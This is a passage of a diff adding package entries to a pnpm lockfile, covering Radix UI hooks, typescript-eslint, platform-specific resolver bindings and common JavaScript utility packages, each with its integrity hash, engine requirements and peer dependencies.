peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-escape-keydown@1.1.1': + resolution: {integrity: sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-layout-effect@1.1.1': + resolution: {integrity: sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-previous@1.1.1': + resolution: {integrity: sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-rect@1.1.1': + resolution: {integrity: sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-size@1.1.1': + resolution: {integrity: sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-visually-hidden@1.2.3': + resolution: {integrity: sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/rect@1.1.1': + resolution: {integrity: sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw==} + + '@rtsao/scc@1.1.0': + resolution: {integrity: sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==} + + '@rushstack/eslint-patch@1.16.1': + resolution: {integrity: sha512-TvZbIpeKqGQQ7X0zSCvPH9riMSFQFSggnfBjFZ1mEoILW+UuXCKwOoPcgjMwiUtRqFZ8jWhPJc4um14vC6I4ag==} + + '@swc/helpers@0.5.15': + resolution: {integrity: sha512-JQ5TuMi45Owi4/BIMAJBoSQoOJu12oOk/gADqlcUL9JEdHB8vyjUSsxqeNXnmXHjYKMi2WcYtezGEEhqUI/E2g==} + + '@tybys/wasm-util@0.10.2': + resolution: {integrity: sha512-RoBvJ2X0wuKlWFIjrwffGw1IqZHKQqzIchKaadZZfnNpsAYp2mM0h36JtPCjNDAHGgYez/15uMBpfGwchhiMgg==} + + '@types/estree@1.0.8': + resolution: {integrity: sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==} + + '@types/json-schema@7.0.15': + resolution: {integrity: sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==} + + '@types/json5@0.0.29': + resolution: {integrity: sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==} + + '@types/node@22.0.0': + resolution: {integrity: sha512-VT7KSYudcPOzP5Q0wfbowyNLaVR8QWUdw+088uFWwfvpY6uCWaXpqV6ieLAu9WBcnTa7H4Z5RLK8I5t2FuOcqw==} + + '@types/react-dom@19.0.0': + resolution: {integrity: sha512-1KfiQKsH1o00p9m5ag12axHQSb3FOU9H20UTrujVSkNhuCrRHiQWFqgEnTNK5ZNfnzZv8UWrnXVqCmCF9fgY3w==} + + '@types/react@19.0.0': + resolution: {integrity: sha512-MY3oPudxvMYyesqs/kW1Bh8y9VqSmf+tzqw3ae8a9DZW68pUe3zAdHeI1jc6iAysuRdACnVknHP8AhwD4/dxtg==} + + '@typescript-eslint/eslint-plugin@8.59.3': + resolution: {integrity: sha512-PwFvSKsXGShKGW6n5bZOhGHEcCZXM8HofLK9fNsEwZXzFRjoY+XT1Vsf1zgyXdwTr0ZYz1/2tkZ0DBTT9jZjhw==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + '@typescript-eslint/parser': ^8.59.3 + eslint: ^8.57.0 || ^9.0.0 || ^10.0.0 + typescript: '>=4.8.4 <6.1.0' + + '@typescript-eslint/parser@8.59.3': + resolution: {integrity: sha512-HPwA+hVkfcriajbNvTmZv4VRauibay+cWArYUYq7u7W7PmGShMxbPxLvrwDme55a6d5alG3nrYfhyJ/G28XlLg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + eslint: ^8.57.0 || ^9.0.0 || ^10.0.0 + typescript: '>=4.8.4 <6.1.0' + + '@typescript-eslint/project-service@8.59.3': + resolution: {integrity: sha512-ECiUWa/KYRGDFUqTNehaRgzDshnJfkTABJxVemHk4ko22gcr0ukloKjWvyQ64g8YCV/UI47kN1dbmjf/GaQYng==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + typescript: '>=4.8.4 <6.1.0' + + '@typescript-eslint/scope-manager@8.59.3': + resolution: {integrity: sha512-t2LvZnoEfzKtnPjgeEu41xw5gxq9mQVfYy4OoZ4Vlt0sk3JwxmhCca/AR7DwOiHrjWgjAj6as4AhRLKSDfvZIA==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@typescript-eslint/tsconfig-utils@8.59.3': + resolution: {integrity: sha512-PcIJHjmaREXLgIAIzLnSY9VucEzz8FKXsRgFa1DmdGCK/5tJpW03TKJF01Q6VZd1lLdz2sIKPWaDUZN9dp//dw==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + typescript: '>=4.8.4 <6.1.0' + + '@typescript-eslint/type-utils@8.59.3': + resolution: {integrity: sha512-g71d8QD8UaiHGvrJwyIS1hCX5r63w6Jll+4VEYhEAHXTDIqX1JgxhTAbEHtKntL9kuc4jRo7/GWw5xfCepSccQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + eslint: ^8.57.0 || ^9.0.0 || ^10.0.0 + typescript: '>=4.8.4 <6.1.0' + + '@typescript-eslint/types@8.59.3': + resolution: {integrity: sha512-ePFoH0g4ludssdRFqqDxQePCxU4WQyRa9+XVwjm7yLn0FKhMeoetC+qBEEI1Eyb1pGSDveTIT09Bvw2WhlGayg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@typescript-eslint/typescript-estree@8.59.3': + resolution: {integrity: sha512-CbRjVRAf7Lr9Kr8RopKcbY45p2VfmmHrm0ygOCYFi7oU8q19m0Fs/6iHS7kNOmwpp+ob07ZVcAqlxUod9lYdmg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + typescript: '>=4.8.4 <6.1.0' + + '@typescript-eslint/utils@8.59.3': + resolution: {integrity: sha512-JAvT14goBzRzzzZyqq3P9BLArIxTtQURUtFgQ/V7FO+eU+Gg6ES+5ymOPP1wRxXcxAYeivCk4uS3jCKWI1K8Zg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + peerDependencies: + eslint: ^8.57.0 || ^9.0.0 || ^10.0.0 + typescript: '>=4.8.4 <6.1.0' + + '@typescript-eslint/visitor-keys@8.59.3': + resolution: {integrity: sha512-f1UQF7ggd42YiwI5wGrRaPsa+P0CINBlrkLPmGfpq/u/I/oVtecoEIfFR9ag/oa1sLOsRNZ6xehf6qMZhQGBDg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + '@unrs/resolver-binding-android-arm-eabi@1.11.1': + resolution: {integrity: sha512-ppLRUgHVaGRWUx0R0Ut06Mjo9gBaBkg3v/8AxusGLhsIotbBLuRk51rAzqLC8gq6NyyAojEXglNjzf6R948DNw==} + cpu: [arm] + os: [android] + + '@unrs/resolver-binding-android-arm64@1.11.1': + resolution: {integrity: sha512-lCxkVtb4wp1v+EoN+HjIG9cIIzPkX5OtM03pQYkG+U5O/wL53LC4QbIeazgiKqluGeVEeBlZahHalCaBvU1a2g==} + cpu: [arm64] + os: [android] + + '@unrs/resolver-binding-darwin-arm64@1.11.1': + resolution: {integrity: sha512-gPVA1UjRu1Y/IsB/dQEsp2V1pm44Of6+LWvbLc9SDk1c2KhhDRDBUkQCYVWe6f26uJb3fOK8saWMgtX8IrMk3g==} + cpu: [arm64] + os: [darwin] + + '@unrs/resolver-binding-darwin-x64@1.11.1': + resolution: {integrity: sha512-cFzP7rWKd3lZaCsDze07QX1SC24lO8mPty9vdP+YVa3MGdVgPmFc59317b2ioXtgCMKGiCLxJ4HQs62oz6GfRQ==} + cpu: [x64] + os: [darwin] + + '@unrs/resolver-binding-freebsd-x64@1.11.1': + resolution: {integrity: sha512-fqtGgak3zX4DCB6PFpsH5+Kmt/8CIi4Bry4rb1ho6Av2QHTREM+47y282Uqiu3ZRF5IQioJQ5qWRV6jduA+iGw==} + cpu: [x64] + os: [freebsd] + + '@unrs/resolver-binding-linux-arm-gnueabihf@1.11.1': + resolution: {integrity: sha512-u92mvlcYtp9MRKmP+ZvMmtPN34+/3lMHlyMj7wXJDeXxuM0Vgzz0+PPJNsro1m3IZPYChIkn944wW8TYgGKFHw==} + cpu: [arm] + os: [linux] + + '@unrs/resolver-binding-linux-arm-musleabihf@1.11.1': + resolution: {integrity: sha512-cINaoY2z7LVCrfHkIcmvj7osTOtm6VVT16b5oQdS4beibX2SYBwgYLmqhBjA1t51CarSaBuX5YNsWLjsqfW5Cw==} + cpu: [arm] + os: [linux] + + '@unrs/resolver-binding-linux-arm64-gnu@1.11.1': + resolution: {integrity: sha512-34gw7PjDGB9JgePJEmhEqBhWvCiiWCuXsL9hYphDF7crW7UgI05gyBAi6MF58uGcMOiOqSJ2ybEeCvHcq0BCmQ==} + cpu: [arm64] + os: [linux] + + '@unrs/resolver-binding-linux-arm64-musl@1.11.1': + resolution: {integrity: sha512-RyMIx6Uf53hhOtJDIamSbTskA99sPHS96wxVE/bJtePJJtpdKGXO1wY90oRdXuYOGOTuqjT8ACccMc4K6QmT3w==} + cpu: [arm64] + os: [linux] + + '@unrs/resolver-binding-linux-ppc64-gnu@1.11.1': + resolution: {integrity: sha512-D8Vae74A4/a+mZH0FbOkFJL9DSK2R6TFPC9M+jCWYia/q2einCubX10pecpDiTmkJVUH+y8K3BZClycD8nCShA==} + cpu: [ppc64] + os: [linux] + + '@unrs/resolver-binding-linux-riscv64-gnu@1.11.1': + resolution: {integrity: sha512-frxL4OrzOWVVsOc96+V3aqTIQl1O2TjgExV4EKgRY09AJ9leZpEg8Ak9phadbuX0BA4k8U5qtvMSQQGGmaJqcQ==} + cpu: [riscv64] + os: [linux] + + '@unrs/resolver-binding-linux-riscv64-musl@1.11.1': + resolution: {integrity: sha512-mJ5vuDaIZ+l/acv01sHoXfpnyrNKOk/3aDoEdLO/Xtn9HuZlDD6jKxHlkN8ZhWyLJsRBxfv9GYM2utQ1SChKew==} + cpu: [riscv64] + os: [linux] + + '@unrs/resolver-binding-linux-s390x-gnu@1.11.1': + resolution: {integrity: sha512-kELo8ebBVtb9sA7rMe1Cph4QHreByhaZ2QEADd9NzIQsYNQpt9UkM9iqr2lhGr5afh885d/cB5QeTXSbZHTYPg==} + cpu: [s390x] + os: [linux] + + '@unrs/resolver-binding-linux-x64-gnu@1.11.1': + resolution: {integrity: sha512-C3ZAHugKgovV5YvAMsxhq0gtXuwESUKc5MhEtjBpLoHPLYM+iuwSj3lflFwK3DPm68660rZ7G8BMcwSro7hD5w==} + cpu: [x64] + os: [linux] + + '@unrs/resolver-binding-linux-x64-musl@1.11.1': + resolution: {integrity: sha512-rV0YSoyhK2nZ4vEswT/QwqzqQXw5I6CjoaYMOX0TqBlWhojUf8P94mvI7nuJTeaCkkds3QE4+zS8Ko+GdXuZtA==} + cpu: [x64] + os: [linux] + + '@unrs/resolver-binding-wasm32-wasi@1.11.1': + resolution: {integrity: sha512-5u4RkfxJm+Ng7IWgkzi3qrFOvLvQYnPBmjmZQ8+szTK/b31fQCnleNl1GgEt7nIsZRIf5PLhPwT0WM+q45x/UQ==} + engines: {node: '>=14.0.0'} + cpu: [wasm32] + + '@unrs/resolver-binding-win32-arm64-msvc@1.11.1': + resolution: {integrity: sha512-nRcz5Il4ln0kMhfL8S3hLkxI85BXs3o8EYoattsJNdsX4YUU89iOkVn7g0VHSRxFuVMdM4Q1jEpIId1Ihim/Uw==} + cpu: [arm64] + os: [win32] + + '@unrs/resolver-binding-win32-ia32-msvc@1.11.1': + resolution: {integrity: sha512-DCEI6t5i1NmAZp6pFonpD5m7i6aFrpofcp4LA2i8IIq60Jyo28hamKBxNrZcyOwVOZkgsRp9O2sXWBWP8MnvIQ==} + cpu: [ia32] + os: [win32] + + '@unrs/resolver-binding-win32-x64-msvc@1.11.1': + resolution: {integrity: sha512-lrW200hZdbfRtztbygyaq/6jP6AKE8qQN2KvPcJ+x7wiD038YtnYtZ82IMNJ69GJibV7bwL3y9FgK+5w/pYt6g==} + cpu: [x64] + os: [win32] + + acorn-jsx@5.3.2: + resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==} + peerDependencies: + acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 + + acorn@8.16.0: + resolution: {integrity: sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==} + engines: {node: '>=0.4.0'} + hasBin: true + + ajv@6.15.0: + resolution: {integrity: sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==} + + ansi-styles@4.3.0: + resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} + engines: {node: '>=8'} + + any-promise@1.3.0: + resolution: {integrity: sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==} + + anymatch@3.1.3: + resolution: {integrity: sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==} + engines: {node: '>= 8'} + + arg@5.0.2: + resolution: {integrity: sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==} + + argparse@2.0.1: + resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} + + aria-hidden@1.2.6: + resolution: {integrity: sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA==} + engines: {node: '>=10'} + + aria-query@5.3.2: + resolution: {integrity: sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==} + engines: {node: '>= 0.4'} + + array-buffer-byte-length@1.0.2: + resolution: {integrity: sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==} + engines: {node: '>= 0.4'} + + array-includes@3.1.9: + resolution: {integrity: sha512-FmeCCAenzH0KH381SPT5FZmiA/TmpndpcaShhfgEN9eCVjnFBqq3l1xrI42y8+PPLI6hypzou4GXw00WHmPBLQ==} + engines: {node: '>= 0.4'} + + array.prototype.findlast@1.2.5: + resolution: {integrity: sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==} + engines: {node: '>= 0.4'} + + array.prototype.findlastindex@1.2.6: + resolution: {integrity: sha512-F/TKATkzseUExPlfvmwQKGITM3DGTK+vkAsCZoDc5daVygbJBnjEUCbgkAvVFsgfXfX4YIqZ/27G3k3tdXrTxQ==} + engines: {node: '>= 0.4'} + + array.prototype.flat@1.3.3: + resolution: {integrity: sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==} + engines: {node: '>= 0.4'} + + array.prototype.flatmap@1.3.3: + resolution: {integrity: sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==} + engines: {node: '>= 0.4'} + + array.prototype.tosorted@1.1.4: + resolution: {integrity: sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==} + engines: {node: '>= 0.4'} + + arraybuffer.prototype.slice@1.0.4: + resolution: {integrity: sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==} + engines: {node: '>= 0.4'} + + ast-types-flow@0.0.8: + resolution: {integrity: sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==} + + async-function@1.0.0: + resolution: {integrity: sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==} + engines: {node: '>= 0.4'} + + autoprefixer@10.4.20: + resolution: {integrity: sha512-XY25y5xSv/wEoqzDyXXME4AFfkZI0P23z6Fs3YgymDnKJkCGOnkL0iTxCa85UTqaSgfcqyf3UA6+c7wUvx/16g==} + engines: {node: ^10 || ^12 || >=14} + hasBin: true + peerDependencies: + postcss: ^8.5.14 + + available-typed-arrays@1.0.7: + resolution: {integrity: sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==} + engines: {node: '>= 0.4'} + + axe-core@4.11.4: + resolution: {integrity: sha512-KunSNx+TVpkAw/6ULfhnx+HWRecjqZGTOyquAoWHYLRSdK1tB5Ihce1ZW+UY3fj33bYAFWPu7W/GRSmmrCGuxA==} + engines: {node: '>=4'} + + axobject-query@4.1.0: + resolution: {integrity: sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==} + engines: {node: '>= 0.4'} + + balanced-match@1.0.2: + resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} + + balanced-match@4.0.4: + resolution: {integrity: sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==} + engines: {node: 18 || 20 || >=22} + + binary-extensions@2.3.0: + resolution: {integrity: sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==} + engines: {node: '>=8'} + + brace-expansion@1.1.14: + resolution: {integrity: sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==} + + brace-expansion@5.0.6: + resolution: {integrity: sha512-kLpxurY4Z4r9sgMsyG0Z9uzsBlgiU/EFKhj/h91/8yHu0edo7XuixOIH3VcJ8kkxs6/jPzoI6U9Vj3WqbMQ94g==} + engines: {node: 18 || 20 || >=22} + + braces@3.0.3: + resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} + engines: {node: '>=8'} + + browserslist@4.25.1: + resolution: {integrity: sha512-KGj0KoOMXLpSNkkEI6Z6mShmQy0bc1I+T7K9N81k4WWMrfz+6fQ6es80B/YLAeRoKvjYE1YSHHOW1qe9xIVzHw==} + engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} + hasBin: true + + call-bind-apply-helpers@1.0.2: + resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==} + engines: {node: '>= 0.4'} + + call-bind@1.0.9: + resolution: {integrity: sha512-a/hy+pNsFUTR+Iz8TCJvXudKVLAnz/DyeSUo10I5yvFDQJBFU2s9uqQpoSrJlroHUKoKqzg+epxyP9lqFdzfBQ==} + engines: {node: '>= 0.4'} + + call-bound@1.0.4: + resolution: {integrity: sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==} + engines: {node: '>= 0.4'} + + callsites@3.1.0: + resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} + engines: {node: '>=6'} + + camelcase-css@2.0.1: + resolution: {integrity: sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==} + engines: {node: '>= 6'} + + caniuse-lite@1.0.30001727: + resolution: {integrity: sha512-pB68nIHmbN6L/4C6MH1DokyR3bYqFwjaSs/sWDHGj4CTcFtQUQMuJftVwWkXq7mNWOybD3KhUv3oWHoGxgP14Q==} + + caniuse-lite@1.0.30001793: + resolution: {integrity: sha512-iwSsYWaCOoh26cV8NwNRViHlrfUvYsHDfRVcbtmw0Kg6PJIZZXwMkj1442FYLBGkeUf1juAsU3DTfxW579mrPA==} + + chalk@4.1.2: + resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} + engines: {node: '>=10'} + + chokidar@3.6.0: + resolution: {integrity: sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==} + engines: {node: '>= 8.10.0'} + + class-variance-authority@0.7.1: + resolution: {integrity: sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==} + + client-only@0.0.1: + resolution: {integrity: sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA==} + + clsx@2.1.1: + resolution: {integrity: sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==} + engines: {node: '>=6'} + + color-convert@2.0.1: + resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} + engines: {node: '>=7.0.0'} + + color-name@1.1.4: + resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} + + commander@4.1.1: + resolution: {integrity: sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==} + engines: {node: '>= 6'} + + concat-map@0.0.1: + resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} + + cross-spawn@7.0.6: + resolution: {integrity: sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==} + engines: {node: '>= 8'} + + cssesc@3.0.0: + resolution: {integrity: sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==} + engines: {node: '>=4'} + hasBin: true + + csstype@3.1.3: + resolution: {integrity: sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==} + + damerau-levenshtein@1.0.8: + resolution: {integrity: sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA==} + + data-view-buffer@1.0.2: + resolution: {integrity: sha512-EmKO5V3OLXh1rtK2wgXRansaK1/mtVdTUEiEI0W8RkvgT05kfxaH29PliLnpLP73yYO6142Q72QNa8Wx/A5CqQ==} + engines: {node: '>= 0.4'} + + data-view-byte-length@1.0.2: + resolution: {integrity: sha512-tuhGbE6CfTM9+5ANGf+oQb72Ky/0+s3xKUpHvShfiz2RxMFgFPjsXuRLBVMtvMs15awe45SRb83D6wH4ew6wlQ==} + engines: {node: '>= 0.4'} + + data-view-byte-offset@1.0.1: + resolution: {integrity: sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==} + engines: {node: '>= 0.4'} + + debug@3.2.7: + resolution: {integrity: sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + debug@4.4.3: + resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + deep-is@0.1.4: + resolution: {integrity: sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==} + + define-data-property@1.1.4: + resolution: {integrity: sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==} + engines: {node: '>= 0.4'} + + define-properties@1.2.1: + resolution: {integrity: sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==} + engines: {node: '>= 0.4'} + + detect-libc@2.1.2: + resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} + engines: {node: '>=8'} + + detect-node-es@1.1.0: + resolution: {integrity: sha512-ypdmJU/TbBby2Dxibuv7ZLW3Bs1QEmM7nHjEANfohJLvE0XVujisn1qPJcZxg+qDucsr+bP6fLD1rPS3AhJ7EQ==} + + didyoumean@1.2.2: + resolution: {integrity: 